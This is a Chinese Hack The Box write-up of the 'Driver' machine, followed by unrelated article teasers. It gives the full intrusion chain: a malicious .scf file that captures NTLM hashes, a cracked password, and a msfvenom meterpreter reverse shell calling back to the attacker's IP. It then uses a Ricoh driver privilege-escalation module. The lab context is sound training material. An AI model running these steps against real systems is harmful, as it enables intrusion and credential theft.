HTB:Driver[WriteUP]
目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
将靶机TCP开放端口号提取并保存
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用smbclient尝试root用户空密码登录靶机SMB服务
边界突破
使用浏览器访问靶机80端口
使用Yakit抓取请求包
仿照该凭证格式,使用字典尝试爆破密码
使用上述凭证通过该页面认证后进入面板
尝试上传.scf文件利用SMB反射获取用户凭证
使用responder开始欺骗及监听客户端
将该哈希值写入文件以便爆破
使用john对该哈希文件进行字典爆破
使用evil-winrm通过上述凭证登录靶机Win-RM服务
权限提升
查看靶机C盘根目录
查看靶机系统内用户
查看当前用户账户信息
查看当前用户权限信息
查看当前用户PS历史记录
查找该驱动所在目录路径
使用大模型搜索该驱动是否存在提权漏洞
使用searchsploit搜索该漏洞
使用msfvenom生成Payload
将该Payload上传至靶机中
启动Metasploit
检索该漏洞模块
连接至HTB服务器并启动靶机
靶机IP:10.10.11.106
分配IP:10.10.16.13
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.11.106 -r 1-65535 --ulimit 5000 | tee res
将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,
80,135,445,5985
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
80,135,445,5985
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn 10.10.11.106
- 需要重点关注的端口和服务
80端口:IIS服务
445端口:SMB服务
5985端口:Win-RM服务
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.11.106
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.106
使用smbclient尝试root用户空密码登录靶机SMB服务
smbclient -L \\10.10.11.106
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# smbclient -L \\10.10.11.106
Password for [WORKGROUP\root]:
session setup failed: NT_STATUS_ACCESS_DENIED
边界突破
使用浏览器访问靶机80端口
- 提示需要用户名和密码
使用Yakit抓取请求包
- 其中,请求头中的Authorization参数用于发送凭证
- 对Basic后的字符串进行解码
仿照该凭证格式,使用字典尝试爆破密码
Authorization: Basic YWRtaW46YWRtaW4=
- Base64解码后
账户:admin
密码:admin
- 将靶机IP与主域名进行绑定使DNS从本地解析
sed -i '1i 10.10.11.106 driver.htb' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.106 driver.htb' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n1 /etc/hosts
10.10.11.106 driver.htb
使用上述凭证通过该页面认证后进入面板
- 这里不知道为啥加载出来是这样的,反正也是转了半天
- 点击左上角的Firmware Updates进入固件更新页,该页允许文件上传
- 该页面中存在描述:Select printer model and upload the respective firmware update to our file share. Our testing team will review the uploads manually and initiates the testing soon.
翻译:选择打印机型号并将相应的固件更新上传到我们的文件共享。我们的测试团队将手动审查上传并尽快启动测试。
- 因此,从这里上传的所有文件应当都会保存在靶机SMB服务器中,换句话说通过该页面我们拥有了向靶机SMB服务器写入文件的权限
尝试上传.scf文件利用SMB反射获取用户凭证
基于SCF文件的SMB中继攻击:攻击者上传精心构造的恶意.scf文件到SMB服务器共享目录,用户浏览该目录时,系统自动解析.scf文件触发向恶意服务器的访问请求,进而以用户身份发送NTLMv2认证请求,攻击者截获并获取该用户的NTLMv2凭证 。
- 构造一个恶意的.scf文件
[Shell]
Command=2
IconFile=\\10.10.16.13\test
使用responder开始欺骗及监听客户端
responder -wv -I tun0
- 选择文件后,点击Submit开始上传
- 攻击机responder收到回显
- tony用户哈希值
tony::DRIVER:cc7a5be9edf57e2b:B00C7598710E1FEB3662800CB261B7F3:0101000000000000009AE12B6165DB0140FB9FA2F3FF07460000000002000800420050005000370001001E00570049004E002D004100530034003900330053004C004C0046004300390004003400570049004E002D004100530034003900330053004C004C004600430039002E0042005000500037002E004C004F00430041004C000300140042005000500037002E004C004F00430041004C000500140042005000500037002E004C004F00430041004C0007000800009AE12B6165DB010600040002000000080030003000000000000000000000000020000092420DE18E3028DCAC604904C0367CAEF10C3B61D875F7E0ADB1D86EE62E88D90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E0031003300000000000000000000000000
将该哈希值写入文件以便爆破
echo 'tony::DRIVER:cc7a5be9edf57e2b:B00C7598710E1FEB3662800CB261B7F3:0101000000000000009AE12B6165DB0140FB9FA2F3FF07460000000002000800420050005000370001001E00570049004E002D004100530034003900330053004C004C0046004300390004003400570049004E002D004100530034003900330053004C004C004600430039002E0042005000500037002E004C004F00430041004C000300140042005000500037002E004C004F00430041004C000500140042005000500037002E004C004F00430041004C0007000800009AE12B6165DB010600040002000000080030003000000000000000000000000020000092420DE18E3028DCAC604904C0367CAEF10C3B61D875F7E0ADB1D86EE62E88D90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E0031003300000000000000000000000000' > hash
使用john对该哈希文件进行字典爆破
john hash --wordlist=../dictionary/rockyou.txt
账户:tony
密码:liltony
使用evil-winrm通过上述凭证登录靶机Win-RM服务
evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
- 在C:\Users\tony\Desktop目录下找到user.txt文件
权限提升
查看靶机C盘根目录
- 可见存在两个Program Files目录,因此靶机系统大概率为64位系统
查看靶机系统内用户
net user
- 靶机系统内普通权限用户仅有该用户
查看当前用户账户信息
net user tony
- 该用户没有加入特殊权限组
查看当前用户权限信息
whoami /priv
- 没有可利用的特权
查看当前用户PS历史记录
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
*Evil-WinRM* PS C:\Users\tony\Desktop> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:'ping 1.1.1.1
ping 1.1.1.1
- Powershell历史记录中第一条命令整体功能为,向系统添加一个打印机,其中驱动完整名称:`RICOH PCL6 UniversalDriver V4.23`
查找该驱动所在目录路径
cmd /c dir /s /ad "RICOH PCL6 UniversalDriver V4.23"
- 该驱动所在位置:C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23
使用大模型搜索该驱动是否存在提权漏洞
使用searchsploit搜索该漏洞
searchsploit --cve 2019-19363
- 由输出可见,该漏洞集成于MSF中
使用msfvenom生成Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.13 LPORT=1425 -f exe > shell.exe
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.13 LPORT=1425 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
将该Payload上传至靶机中
upload shell.exe
启动Metasploit
msfconsole
- 切换到监听模块
use exploit/multi/handler
- 配置好选项:LHOST、LPORT、PAYLOAD,并开始监听
msf6 exploit(multi/handler) > set LHOST 10.10.16.13
LHOST => 10.10.16.13
msf6 exploit(multi/handler) > set LPORT 1425
LPORT => 1425
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run[*] Started reverse TCP handler on 10.10.16.13:1425
- 控制靶机运行Payload
.\shell.exe
- 攻击机MSF监听端收到回显
[*] Started reverse TCP handler on 10.10.16.13:1425
[*] Sending stage (203846 bytes) to 10.10.11.106
[*] Meterpreter session 1 opened (10.10.16.13:1425 -> 10.10.11.106:49431) at 2025-01-13 04:44:35 -0500meterpreter >
- 列出靶机系统进程
ps
- 通过Session栏目判断,为0则是系统进程,为1则是用户进程。我尝试将Meterpreter迁移进用户进程explorer.exe中
migrate -N explorer.exe
meterpreter > migrate -N explorer.exe
[*] Migrating from 4256 to 3260...
[*] Migration completed successfully.
检索该漏洞模块
search 2019-19363
- 切换到该模块
use exploit/windows/local/ricoh_driver_privesc
- 列出该模块所需填写的选项
show options
- 此处需要配置好的选项:LHOST、LPORT、PAYLOAD、SESSION
msf6 exploit(windows/local/ricoh_driver_privesc) > set LHOST 10.10.16.13
LHOST => 10.10.16.13
msf6 exploit(windows/local/ricoh_driver_privesc) > set LPORT 1426
LPORT => 1426
msf6 exploit(windows/local/ricoh_driver_privesc) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ricoh_driver_privesc) > set SESSION 1
SESSION => 1
- 执行该模块
exploit
- 查找root.txt文件位置
search -f root.txt
meterpreter > search -f root.txt
Found 1 result...
=================Path Size (bytes) Modified (UTC)
---- ------------ --------------
c:\Users\Administrator\Desktop\root.txt 34 2025-01-13 05:55:59 -0500
- 查看root.txt文件内容
meterpreter > shell
Process 1876 created.
Channel 2 created.
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.C:\Windows\system32>type c:\Users\Administrator\Desktop\root.txt
type c:\Users\Administrator\Desktop\root.txt
030cd5d04a90f1bd3c163e0bcd3280eb
相关文章:
HTB:Driver[WriteUP]
目录 连接至HTB服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 将靶机TCP开放端口号提取并保存 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机常用UDP端口进行开放扫描 使用smbclient尝…...
Require:利用MySQL binlog实现闪回操作
1,闪回原理 【binlog】MySQL binlog以event的形式,记录了MySQL server从启用binlog以来所有的变更信息,能够帮助重现这之间的所有变化。MySQL引入binlog主要有两个目的:一是为了主从复制;二是某些备份还原操作后需要重…...
黑马linux笔记(03)在Linux上部署各类软件 MySQL5.7/8.0 Tomcat(JDK) Nginx RabbitMQ
文章目录 实战章节:在Linux上部署各类软件tar -zxvf各个选项的含义 为什么学习各类软件在Linux上的部署 一 MySQL数据库管理系统安装部署【简单】MySQL5.7版本在CentOS系统安装MySQL8.0版本在CentOS系统安装MySQL5.7版本在Ubuntu(WSL环境)系统…...
FFmpeg入门
在音视频处理领域,有一款神器级的工具横扫开发者圈,那就是 FFmpeg。它被誉为“音视频处理的瑞士军刀”,凭借强大的功能和开源的特性成为众多开发者和媒体从业者的首选。今天,我们就来聊聊 FFmpeg 的入门使用,带你轻松开…...
如何将 sqlserver 数据迁移到 mysql
文章目录 前言一、导出SQL Server 数据二、转换数据格式为MySQL兼容格式三、导入数据到MySQL数据库五、使用ETL工具六、通过 navicat 工具七、总结 前言 将 SQL Server 数据迁移到 MySQL 是一个常见的数据库迁移任务,通常涉及以下几个关键步骤:导出 SQL…...
【leetcode 13】哈希表 242.有效的字母异位词
原题链接 题解链接 一般哈希表都是用来快速判断一个元素是否出现集合里。 当我们想使用哈希法来解决问题的时候,我们一般会选择如下三种数据结构。 数组 set (集合) map(映射) 如果在做面试题目的时候遇到需要判断一个元素是否出现过的场景…...
git - 用SSH方式迁出远端git库
文章目录 git - 用SSH方式迁出远端git库概述笔记以gitee为例产生RSA密钥对 备注githubEND git - 用SSH方式迁出远端git库 概述 最近一段时间,在网络没问题的情况下,用git方式直接迁出git库总是会失败。 失败都是在远端, 显示RPC错误。 但是git服务器端…...
21天学通C++——9.5复制构造函数
浅复制 复制类对象时只是单纯的复制所有的值,如指针只会复制指针的大小,而不会再开辟同一空间大小的内存,即两个指针指向同一片内存空间。 伪代码: class MyString { private:char*buffer; public:MyString(const char* initStri…...
GPT 系列论文精读:从 GPT-1 到 GPT-4
学习 & 参考资料 前置文章 Transformer 论文精读 机器学习 —— 李宏毅老师的 B 站搬运视频 自监督式学习(四) - GPT的野望[DLHLP 2020] 來自猎人暗黑大陆的模型 GPT-3 论文逐段精读 —— 沐神的论文精读合集 GPT,GPT-2,GPT-3 论文精读【论文精读】…...
【python】OpenCV—Local Translation Warps
文章目录 1、功能描述2、原理分析3、代码实现4、效果展示5、完整代码6、参考 1、功能描述 利用液化效果实现瘦脸美颜 交互式的液化效果原理来自 Gustafsson A. Interactive image warping[D]. , 1993. 2、原理分析 上面描述很清晰了,鼠标初始在 C,也即…...
elasticsearch集群部署
一、创建 elasticsearch-cluster 文件夹 创建 elasticsearch-7.6.2-cluster文件夹 修改服务es服务文件夹为node-001 修改config/elasticsearch.yml 配置文件 # Elasticsearch Configuration # # NOTE: Elasticsearch comes with reasonable defaults for most settings. # …...
python调用window库全屏截图生成bmp位图学习
import io import time import struct import ctypes s time.time() gdi32 ctypes.windll.gdi32 user32 ctypes.windll.user32# 定义常量 SM_CXSCREEN 0 SM_CYSCREEN 1# 缩放比例 zoom 1 screenWidth int(user32.GetSystemMetrics(SM_CXSCREEN) * zoom) screenHeight i…...
Wireshark使用
1.抓包过滤器--BPF语法 类型Type:主机(host)、网段(net)、端口(port) 方向Dir:源地址(src)、目标地址(dst) 协议Proto:各种…...
FLASK 上传文件
HTML form enctype"multipart/form-data" 编码类型说明application/x-www-form-urlencoded表单数据编码为名称/值对。 这是标准编码格式。multipart/form-data表单数据编码为消息,页面上每个控件都有单独的部分。text/plain表单数据以纯文本编码&#x…...
卷积神经网络
卷积神经网络 随着输入数据规模的增大,计算机视觉的处理难度也大幅增加。 64 64 3 64 \times 64 \times 3 64643 的图片特征向量维度为12288,而 1000 1000 3 1000 \times 1000 \times 3 100010003 的图片数据量达到了300万。随着数据维度的增加&am…...
SparrowRTOS系列:链表版本内核
前言 Sparrow RTOS是笔者之前写的一个极简性RTOS,初代版本只有400行,后面笔者又添加了消息队列、信号量、互斥锁三种IPC机制,使之成为一个较完整、堪用的内核,初代版本以简洁为主,使用数组和表作为任务挂载的抽象数据…...
【redis初阶】环境搭建
目录 一、Ubuntu 安装 redis 二、Centos7 安装 redis 三、Centos8 安装 redis 四、redis客户端介绍 redis学习🥳 一、Ubuntu 安装 redis 使用 apt 安装 apt install redis -y 查看redis版本 redis-server --version 支持远程连接…...
OpenCV相机标定与3D重建(54)解决透视 n 点问题(Perspective-n-Point, PnP)函数solvePnP()的使用
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 根据3D-2D点对应关系找到物体的姿态。 cv::solvePnP 是 OpenCV 库中的一个函数,用于解决透视 n 点问题(Perspective-n-Po…...
shell脚本回顾1
1、shell 脚本写出检测 /tmp/size.log 文件如果存在显示它的内容,不存在则创建一个文件将创建时间写入。 一、 ll /tmp/size.log &>/dev/null if [ $? -eq 0 ];then cat /tmp/size.log else touch /tmp/size.log echo date > /tmp/size.log fi二、 if …...
HarmonyOS命令行工具
作为一个从Android转过来的鸿蒙程序猿,在开发过程中不由自主地想使用类似adb命令的命令行工具去安装/卸载应用,往设备上推或者拉去文件,亦或是抓一些日志。但是发现在鸿蒙里边,华为把命令行工具分的很细,种类相当丰富 …...
V少JS基础班之第四弹
一、 前言 第四弹内容是操作符。 本章结束。第一个月的内容就完成了, 是一个节点。 下个月我们就要开始函数的学习了。 我们学习完函数之后。很多概念就可以跟大家补充说明了。 OK,那我们就开始本周的操作符学习 本系列为一周一更,计划历时6…...
从前端视角看设计模式之创建型模式篇
设计模式简介 "设计模式"源于GOF(四人帮)合著出版的《设计模式:可复用的面向对象软件元素》,该书第一次完整科普了软件开发中设计模式的概念,他们提出的设计模式主要是基于以下的面向对象设计原则ÿ…...
网络应用技术 实验七:实现无线局域网
一、实验简介 在 eNSP 中构建无线局域网,并实现全网移动终端互相通信。 二、实验目的 1 、理解无线局域网的工作原理; 2 、熟悉无线局域网的规划与构建过程; 3 、掌握无线局域网的配置方法; 三、实验学时 2 学时 四、实…...
Kotlin 循环语句详解
文章目录 循环类别for-in 循环区间整数区间示例1:正向遍历示例2:反向遍历 示例1:遍历数组示例2:遍历区间示例3:遍历字符串示例4:带索引遍历 while 循环示例:计算阶乘 do-while 循环示例…...
B+树的原理及实现
文章目录 B树的原理及实现一、引言二、B树的特性1、结构特点2、节点类型3、阶数 三、B树的Java实现1、节点实现2、B树操作2.1、搜索2.2、插入2.3、删除2.4、遍历 3、B树的Java实现示例 四、总结 B树的原理及实现 一、引言 B树是一种基于B树的树形数据结构,它在数据…...
ArkTS 基础语法:声明式 UI 描述与自定义组件
1. ArkTS 简介 ArkTS 是 HarmonyOS 应用开发中的一种编程语言,它结合了 TypeScript 的类型检查和声明式 UI 描述方式,帮助开发者更高效地构建用户界面。 2. 声明式 UI 描述 ArkTS 使用声明式语法来定义 UI 结构,通过组件、属性和事件配置实…...
list的模拟实现详解
文章目录 list的模拟实现list的迭代器begin()和end() list的模拟实现 #pragma once #include<iostream> #include<list>using namespace std;namespace wbc {// 类模版template<class T>struct list_node // 链表的节点{T _data;list_node<T>* _next;…...
图解Git——分支的新建与合并《Pro Git》
⭐分支的新建与合并 先引入一个实际开发的工作流: 开发某个网站。为实现某个新的需求,创建一个分支。在这个分支上开展工作。 正在此时,你突然接到一个电话说有个很严重的问题需要紧急修补。你将按照如下方式来处理: 切换到你…...
SQLite 语法快速入门
SQLite 是一个软件库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。 提供一个免费的在线SQLite编辑器 (0)常用命令 # 格式化 .header on .mode column .timer on# 查看表格 .tables# 查看表结构(建表语句) .schema …...
高速光电探测器设计 PIN APD铟镓砷TIA放大脉冲误码测试800-1700nm
高速光电探测器PIN APD铟镓砷TIA放大脉冲误码测试800-1700nm (对标:索雷博APD431A) (对标:索雷博APD431A) (对标:索雷博APD431A) 规格参数: 波长范围:800-1700nm 输出带宽:DC-400MHz(-3dB&…...
【Linux】【内存】Buddy内存分配基础 NUMA架构
【Linux】【内存】Buddy内存分配基础 NUMA架构 NUMA架构 在 NUMA 架构中,计算机的多个 CPU 被划分为不同的处理单元,每个处理单元有一个本地内存。这些内存被称为内存节点(memory node)。处理器尽量访问自己的本地内存 node_da…...
【机器学习:十九、反向传播】
1. 计算图和导数 计算图的概念 计算图(Computation Graph)是一种有向无环图,用于表示数学表达式中的计算过程。每个节点表示一个操作或变量,每条边表示操作的依赖关系。通过计算图,可以轻松理解和实现反向传播。 计算…...
使用中间件自动化部署java应用
为了实现你在 IntelliJ IDEA 中打包项目并通过工具推送到两个 Docker 服务器(172.168.0.1 和 172.168.0.12),并在推送后自动或手动重启容器,我们可以按照以下步骤进行操作: 在 IntelliJ IDEA 中配置 Maven 或 Gradle 打…...
Vue.js开发入门:从零开始搭建你的第一个项目
前言 嘿,小伙伴们!今天咱们来聊聊 Vue.js,一个超火的前端框架。如果你是编程小白,别怕,跟着我一步步来,保证你能轻松上手,搭建起属于自己的第一个 Vue 项目。Vue.js 可能听起来有点高大上&#…...
基于大语言模型的组合优化
摘要:组合优化(Combinatorial Optimization, CO)对于提高工程应用的效率和性能至关重要。随着问题规模的增大和依赖关系的复杂化,找到最优解变得极具挑战性。在处理现实世界的工程问题时,基于纯数学推理的算法存在局限…...
mySQL安装(LINUX)
一、1. 下载并安装MySQL官方的 Yum Repository 1、连接云服务器,进入opt 2、下载安装包 wget http://dev.mysql.com/get/mysql-community-release-el7-5.noarch.rpm 3、解压 rpm -ivh mysql-community-release-el7-5.noarch.rpm 4、安装 yum install mysql-commu…...
【机器学习】农业 4.0 背后的智慧引擎:机器学习助力精准农事决策
我的个人主页 我的领域:人工智能篇,希望能帮助到大家!!!👍点赞 收藏❤ 在当今数字化浪潮汹涌澎湃之际,农业领域正经历着一场前所未有的深刻变革,大踏步迈向农业 4.0时代。这一时代…...
在 Azure 100 学生订阅中新建一台 Ubuntu VPS,并通过 Docker 部署 Nginx 服务器
今天来和大家分享一下如何在 Azure 100 学生订阅中创建一台 Ubuntu VPS,并在其上通过 Docker 部署 Nginx 服务器。在这个过程中,我们将一步步走过每一个细节,希望能帮助到大家。 Docker 和 Nginx 简介 Docker 是一个开源的容器化平台&#…...
快速、可靠且高性价比的定制IP模式提升芯片设计公司竞争力
作者:Karthik Gopal,SmartDV Technologies亚洲区总经理 智权半导体科技(厦门)有限公司总经理 无论是在出货量巨大的消费电子市场,还是针对特定应用的细分芯片市场,差异化芯片设计带来的定制化需求也在芯片…...
Linux常用命令大全
mv详解目录 Linux 常用命令大全 1. ls 指令 2. touch 指令 3. pwd 指令 4. mkdir 指令 5. cd 指令 6. rmdir 和 rm 指令 7. man 指令 8. cp 指令 9. mv 指令 10. cat 指令 11. more 指令 12. less 指令 13. head 指令 14. tail 指令 15. find 指令 16. grep 指…...
K-均值聚类算法
K-均值聚类算法是一种常用的无监督学习算法,用于将数据集划分为K个不同的簇。它的基本思想是通过迭代将样本点划分到最相邻的簇中,以最小化各个簇内的平均距离。下面我们来详细讲解K-均值聚类算法的步骤及其优缺点。 步骤: 1. 随机选择K个质…...
Windows 环境下安装和启动 Redis 服务
在 Windows 环境下安装和启动 Redis 服务可以通过多种方式实现,下面将详细介绍几种常见的方法。我们将重点介绍通过 Chocolatey 包管理器、Docker 容器以及 MSOpenTech 提供的官方移植版来安装 Redis。 方法一:使用 Chocolatey 安装 Redis Chocolatey …...
关于在windows系统中编译ffmpeg并导入到自己项目中这件事
关于在windows系统中编译ffmpeg并导入到自己项目中这件事 前因(可跳过不看) 前阵子由于秋招需求,写了一个简易的安卓播放器,最终因为时间问题还有一些功能没有实现着实可惜,如:倍速播放,快进操…...
实战开发:基于用户反馈筛选与分析系统的实现
引言 在当今的数字化社会中,用户反馈是企业决策的重要依据。无论是电商平台、社交网络,还是产品服务,收集用户反馈并加以分析,有助于提升用户体验,改善服务质量。然而,面对海量的用户反馈,如何有…...
Android SystemUI——服务启动流程(二)
在 Andorid 系统源码中,package/apps下放的是系统内置的一些 APP,例如 Settings、Camera、Phone、Message 等等。而在 framework/base/package 下,它们也是系统的 APP,SystemUI 就在此目录下。它控制着整个 Android 系统的界面&am…...
拷贝构造函数
文章目录 一、4. 拷贝构造函数 今天我们来学习拷贝构造函数。 一、4. 拷贝构造函数 如果⼀个构造函数的第⼀个参数是自身类型的引用,且任何额外的参数都有默认值,则此叫做拷贝构造函数,也就是说拷贝构造是⼀个特殊的构造函数。 它的形式是这…...
解析OVN架构及其在OpenStack中的集成
引言 随着云计算技术的发展,虚拟化网络成为云平台不可或缺的一部分。为了更好地管理和控制虚拟网络,Open Virtual Network (OVN) 应运而生。作为Open vSwitch (OVS) 的扩展,OVN 提供了对虚拟网络抽象的支持,使得大规模部署和管理…...
面试加分项:Android Framework PMS 全面概述和知识要点
在Android面试时,懂得越多越深android framework的知识,越为自己加分。 目录 第一章:PMS 基础知识 1.1 PMS 定义与工作原理 1.2 PMS 的主要任务 1.3 PMS 与相关组件的交互 第二章:PMS 的核心功能 2.1 应用安装与卸载机制 2.2 应用更新与版本管理 2.3 组件管理 第…...
征服Windows版nginx(2)
1.配置Nginx 编辑Nginx的配置文件(通常是nginx.conf),找到安装Nginx位置,如下路径: D:\nginx-1.26.2\conf 双击打开nginx.CONF编辑,在http块中添加一个新的server块,用于指定Vue项目的静态文件…...
QML states和transitions的使用
一、介绍 1、states Qml states是指在Qml中定义的一组状态(States),用于管理UI元素的状态转换和属性变化。每个状态都包含一组属性值的集合,并且可以在不同的状态间进行切换。 通过定义不同的状态,可以在不同的应用场…...